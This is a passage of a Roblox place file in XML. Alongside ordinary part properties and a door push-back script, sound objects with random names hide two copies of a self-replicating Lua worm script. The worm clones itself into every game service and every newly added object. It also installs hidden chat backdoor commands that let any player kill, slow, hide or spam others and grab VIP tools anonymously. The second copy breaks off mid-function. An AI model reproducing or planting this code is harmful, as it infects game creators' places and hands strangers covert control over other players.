					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">11</int>
					<CoordinateFrame name="CFrame">
						<X>-40.5</X>
						<Y>62.1000023</Y>
						<Z>-14.5</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">OneWayDoor</string>
					<float name="Reflectance">0.100000001</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0.100000001</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>75</X>
						<Y>123</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX288">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">PushPack</string>
						<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX289">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2xdje</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX290">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ugwdq</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX291">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">wcn84mi</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX292">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">b9gch</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
